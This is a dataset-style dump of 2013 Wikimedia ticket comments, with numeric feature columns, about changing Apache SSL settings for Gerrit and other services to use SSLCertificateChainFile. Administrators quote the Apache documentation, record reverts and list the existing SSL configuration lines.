%%%this is to clarify and get the ticket unstuck%%%",,,1387501882,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,16,True,1.0,0.0,1.0,1.0,1.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,7.0,0.0,3.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,7.0,2.0,1.0,3.0,10.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,0.0,6.0,7.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.303370786516854,0.5617977528089888,"%%%i renamed the ticket from being a global request to just being a Gerrit issue%%%
%%%now. the other services i believe we have all fixed.%%%
%%%why it had to be reverted for gerrit: URL
%%%so gerrit still does not do this and the ticket is open but it is totally done%%%
%%%on other services now%%%
%%%this is to clarify and get the ticket unstuck%%%"
371342,Use SSLCertificateChainFile in Gerrit Apache configuration,//Subject changed from 'Use SSLCertificateChainFile in Apache configuration' to 'Use SSLCertificateChainFile in Gerrit Apache configuration' by dzahn//,,,1387501789,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,24.0,24.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.428571428571429,0.6190476190476191,//Subject changed from 'Use SSLCertificateChainFile in Apache configuration' to 'Use SSLCertificateChainFile in Gerrit Apache configuration' by dzahn//
371330,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%we're now doing this per ticket title on metrics.wm and planet.wm:%%%
%%%https://gerrit.wikimedia.org/r/#/c/84901/%%%
%%%just reverted it on gerrit, because of issue with puppet-merge if you don't%%%
%%%specify SSLCACertificatePath (Apache restarts fine)%%%
%%%https://gerrit.wikimedia.org/r/#/c/90676/%%%",,,1382410958,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,5.0,15.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6363636363636362,0.6545454545454545,"%%%we're now doing this per ticket title on metrics.wm and planet.wm:%%%
%%%URL
%%%just reverted it on gerrit, because of issue with puppet-merge if you don't%%%
%%%specify SSLCACertificatePath (Apache restarts fine)%%%
%%%URL"
371320,Use SSLCertificateChainFile in Gerrit Apache configuration,//Untaken by dzahn//,,,1380638194,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,//Untaken by dzahn//
371308,Use SSLCertificateChainFile in Gerrit Apache configuration,%%%please review https://gerrit.wikimedia.org/r/#/c/84901/%%%,,,1380291751,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.6666666666666666,%%%please review URL
371296,Use SSLCertificateChainFile in Gerrit Apache configuration,//Subject changed from 'Use SSLCACertificatePath in Apache configuration' to 'Use SSLCertificateChainFile in Apache configuration' by dzahn//,,,1380291683,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,25.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.3,0.65,//Subject changed from 'Use SSLCACertificatePath in Apache configuration' to 'Use SSLCertificateChainFile in Apache configuration' by dzahn//
371286,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Wed Sep 18 23:29:41 2013, dzahn wrote:%%%
> https://gerrit.wikimedia.org/r/#/c/84901/
%%%new patch set, ""%%%
%%%replace SSLCACertificatePath with SSLCertificateChainFile%%%
%%%better?%%%",,,1380023851,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,8.0,0.0,5.0,5.0,8.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.525,0.55,"%%%On Wed Sep 18 23:29:41 2013, dzahn wrote:%%%
QUOTE
%%%new patch set, ""%%%
%%%replace SSLCACertificatePath with SSLCertificateChainFile%%%
%%%better?%%%"
371276,Use SSLCertificateChainFile in Gerrit Apache configuration,%%%https://gerrit.wikimedia.org/r/#/c/84901/%%%,,,1379546981,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,%%%URL
371265,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%do the opposite. remove that from these, per Ryan.%%%
%%%gerrit.wikimedia.org.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%git.wikimedia.org.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%metrics.wikimedia.org.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%planet.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%planet-language.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%then reject%%%",,,1379540809,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,25.0,1.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.7375,0.325,"%%%do the opposite. remove that from these, per Ryan.%%%
%%%gerrit.wikimedia.org.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%git.wikimedia.org.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%metrics.wikimedia.org.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%planet.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%planet-language.erb: SSLCACertificatePath /etc/ssl/certs/%%%
%%%then reject%%%"
371254,Use SSLCertificateChainFile in Gerrit Apache configuration,Issue taken by **dzahn**,,,1379540715,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,62.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.625,0.625,Issue taken by **dzahn**
371245,Use SSLCertificateChainFile in Gerrit Apache configuration,%%%Should this stay open? done besides the unrelated issue?%%%,,,1379540481,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.153846153846154,0.8461538461538461,%%%Should this stay open? done besides the unrelated issue?%%%
371235,Use SSLCertificateChainFile in Gerrit Apache configuration,Reference by ticket #4912 added by dzahn,,,1365705274,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Reference by ticket #4912 added by dzahn
371223,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On 2013-03-26 19:32:00, faidon wrote:%%%
> The same page says:
%%%[...]%%%
> Trust me, it works.
%%%Ok, great.%%%",,,1364326676,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,12.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.323529411764706,0.5,"%%%On 2013-03-26 19:32:00, faidon wrote:%%%
QUOTE
%%%[...]%%%
QUOTE
%%%Ok, great.%%%"
371211,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Tue, Mar 26, 2013 at 07:05:38PM +0000, Daniel Zahn via RT wrote:%%%
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=608719
%%%This is unrelated to this, but indeed it's a minor security issue that%%%
%%%affects us, since we put our certificates in /etc/ssl/certs. I pointed%%%
%%%that out to Ryan the other day and we had a discussion but I think we%%%
%%%both forgot about it. It's minor, I can't think of a real attack%%%
%%%scenario in our case (our certificates do not have CA:true).%%%",,,1364326333,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,1.5,3.5,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,6.0,0.0,2.0,7.0,0.0,0.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,6.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,8.5,0.5,2.0,5.5,0.0,0.0,0.0,0.0,1.5,12.0,1.5,0.0,8.5,7.0,5.5,0.0,0.0,0.0,8.5,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,3.1682203389830508,0.7563559322033898,"%%%On Tue, Mar 26, 2013 at 07:05:38PM +0000, Daniel Zahn via RT wrote:%%%
QUOTE
%%%This is unrelated to this, but indeed it's a minor security issue that%%%
%%%affects us, since we put our certificates in /etc/ssl/certs. I pointed%%%
%%%that out to Ryan the other day and we had a discussion but I think we%%%
%%%both forgot about it. It's minor, I can't think of a real attack%%%
%%%scenario in our case (our certificates do not have CA:true).%%%"
371199,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Tue, Mar 26, 2013 at 07:27:25PM +0000, Jeremy Baron via RT wrote:%%%
> On 2013-03-26 12:13:22, hashar wrote:
> > We have a bunch of virtual hosts explicitly declaring the SSL
> > certificate to
> > use. Per Faidon review, we should instead use: SSLCACertificatePath
> > /etc/ssl/certs Then apache will find out which one to use. (note I
> > have closed
> > the bug report, lets track this in RT).
>
> [citation needed]
>
> The docs for that directive don't mention anything relevant. That
> directive seems to be used only when using client certs.
>
> SSLCACertificatePath<https://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcacertificatepath>
> says:
> > This directive sets the directory where you keep the Certificates of
> > Certification Authorities (CAs) whose clients you deal with. These are used
> > to verify the client certificate on Client Authentication.
%%%The same page says:%%%
%%%SSLCertificateChainFile%%%
%%%This should be used alternatively and/or additionally to%%%
%%%SSLCACertificatePath for explicitly constructing the server%%%
%%%certificate chain which is sent to the browser in addition to the%%%
%%%server certificate. It is especially useful to avoid conflicts with CA%%%
%%%certificates when using client authentication. Because although%%%
%%%placing a CA certificate of the server certificate chain into%%%
%%%SSLCACertificatePath has the same effect for the certificate chain%%%
%%%construction, it has the side-effect that client certificates issued%%%
%%%by this same CA certificate are also accepted on client%%%
%%%authentication.%%%
%%%Trust me, it works.%%%
%%%Regards,%%%
%%%Faidon%%%",,,1364326320,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,1.0,0.0,3.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.0,5.666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,3.0,1.3333333333333333,13.0,1.0,0.3333333333333333,4.333333333333333,0.0,0.0,0.0,0.0,1.0,19.0,1.3333333333333333,0.0,1.6666666666666667,5.666666666666667,9.666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,3.949269692227439,0.4838288993218571,"%%%On Tue, Mar 26, 2013 at 07:27:25PM +0000, Jeremy Baron via RT wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
%%%The same page says:%%%
%%%SSLCertificateChainFile%%%
%%%This should be used alternatively and/or additionally to%%%
%%%SSLCACertificatePath for explicitly constructing the server%%%
%%%certificate chain which is sent to the browser in addition to the%%%
%%%server certificate. It is especially useful to avoid conflicts with CA%%%
%%%certificates when using client authentication. Because although%%%
%%%placing a CA certificate of the server certificate chain into%%%
%%%SSLCACertificatePath has the same effect for the certificate chain%%%
%%%construction, it has the side-effect that client certificates issued%%%
%%%by this same CA certificate are also accepted on client%%%
%%%authentication.%%%
%%%Trust me, it works.%%%
%%%Regards,%%%
%%%Faidon%%%"
371185,Use SSLCertificateChainFile in Gerrit Apache configuration,//AdminCc jeremyb added by jeremyb//,,,1364326308,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.4,1.0,//AdminCc jeremyb added by jeremyb//
371173,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On 2013-03-26 12:13:22, hashar wrote:%%%
> We have a bunch of virtual hosts explicitly declaring the SSL
> certificate to
> use. Per Faidon review, we should instead use: SSLCACertificatePath
> /etc/ssl/certs Then apache will find out which one to use. (note I
> have closed
> the bug report, lets track this in RT).
%%%[citation needed]%%%
%%%The docs for that directive don't mention anything relevant. That%%%
%%%directive seems to be used only when using client certs.%%%
%%%SSLCACertificatePath<https://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcacertificatepath>%%%
%%%says:%%%
> This directive sets the directory where you keep the Certificates of
> Certification Authorities (CAs) whose clients you deal with. These are
%%%used%%%
> to verify the client certificate on Client Authentication.",,,1364326045,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,False,,,-23,True,0.0,1.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,16.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,24.0,5.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,3.3411764705882354,0.4823529411764706,"%%%On 2013-03-26 12:13:22, hashar wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
%%%[citation needed]%%%
%%%The docs for that directive don't mention anything relevant. That%%%
%%%directive seems to be used only when using client certs.%%%
%%%SSLCACertificatePath<URL
%%%says:%%%
QUOTE
QUOTE
%%%used%%%
QUOTE"
371162,Use SSLCertificateChainFile in Gerrit Apache configuration,%%%http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=608719%%%,,,1364324738,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,%%%URL
371150,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%etherpad_lite.wikimedia.org.erb: SSLEngine on%%%
%%%etherpad_lite.wikimedia.org.erb: SSLCertificateFile <%= etherpad_ssl_cert %>%%%
%%%etherpad_lite.wikimedia.org.erb: SSLCertificateKeyFile <%= etherpad_ssl_key %>%%%
%%%ganglia.wikimedia.org.erb: SSLEngine on%%%
%%%ganglia.wikimedia.org.erb: SSLCertificateFile <%= ganglia_ssl_cert %>%%%
%%%ganglia.wikimedia.org.erb: SSLCertificateKeyFile <%= ganglia_ssl_key %>%%%
%%%gerrit.wikimedia.org.erb: SSLEngine on%%%
%%%gerrit.wikimedia.org.erb: SSLCertificateFile /etc/ssl/certs/<%= ssl_cert %>.pem%%%
%%%gerrit.wikimedia.org.erb: SSLCertificateKeyFile /etc/ssl/private/<%=%%%
%%%ssl_cert_key %>.key%%%
%%%gerrit.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/<%= ssl_ca %>.pem%%%
%%%graphite.wikimedia.org: SSLEngine on%%%
%%%graphite.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%graphite.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%graphite.wikimedia.org: SSLEngine on%%%
%%%graphite.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%graphite.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%graphite.wikimedia.org: SSLEngine on%%%
%%%graphite.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%graphite.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%icinga.wikimedia.org.erb: SSLEngine On%%%
%%%icinga.wikimedia.org.erb: SSLCertificateFile%%%
%%%/etc/ssl/private/star.wikimedia.org.pem%%%
%%%icinga.wikimedia.org.erb: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%icinga.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%icinga.wikimedia.org.erb: SSLEngine On%%%
%%%icinga.wikimedia.org.erb: SSLCertificateFile%%%
%%%/etc/ssl/private/star.wikimedia.org.pem%%%
%%%icinga.wikimedia.org.erb: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%icinga.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%icinga.wikimedia.org.erb: SSLRequireSSL%%%
%%%icinga.wikimedia.org.erb: SSLEngine On%%%
%%%icinga.wikimedia.org.erb: SSLCertificateFile%%%
%%%/etc/ssl/private/star.wikimedia.org.pem%%%
%%%icinga.wikimedia.org.erb: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%icinga.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%icinga.wikimedia.org.erb: SSLRequireSSL%%%
%%%planet.erb: SSLEngine on%%%
%%%planet.erb: SSLCertificateFile /etc/ssl/certs/star.planet.<%=%%%
%%%planet_domain_name %>.pem%%%
%%%planet.erb: SSLCertificateKeyFile /etc/ssl/private/star.planet.<%=%%%
%%%planet_domain_name %>.key%%%
%%%planet-language.erb: SSLEngine on%%%
